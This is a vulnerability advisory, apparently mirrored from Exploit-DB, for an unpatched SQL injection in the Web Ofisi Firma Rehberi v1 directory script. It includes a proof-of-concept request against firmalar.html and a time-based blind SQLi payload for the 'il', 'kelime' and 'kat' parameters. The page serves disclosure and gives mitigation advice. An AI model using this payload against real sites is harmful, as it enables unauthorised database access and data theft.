header-logo
Suggest Exploit
vendor:
Firma Rehberi Scripti
by:
Ahmet Ümit BAYRAM
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Firma Rehberi Scripti
Affected Version From: v1
Affected Version To: v1
Patch Exists: NO
Related CWE: N/A
CPE: a:web-ofisi:firma_rehberi_scripti:1
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Kali Linux
2019

Web Ofisi Firma Rehberi 1 – ‘il’ SQL Injection

An SQL injection vulnerability exists in Web Ofisi Firma Rehberi 1, which allows an attacker to execute arbitrary SQL commands via the 'il', 'kelime', and 'kat' parameters in the 'firmalar.html' page.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Sanitize user input and use parameterized queries.
Source

Exploit-DB raw data:

# Exploit Title: Web Ofisi Firma Rehberi 1 - 'il' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/firma-rehberi-scripti-v1.html
# Demo Site: http://demobul.net/firma-rehberi-v1/
# Version: v1
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request:
http://localhost/[PATH]/firmalar.html?il=0&kat=&kelime=&siralama=yeni
Vulnerable Parameters: il,kelime,kat (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z

Navigation

Suggest Exploit

Services By CQR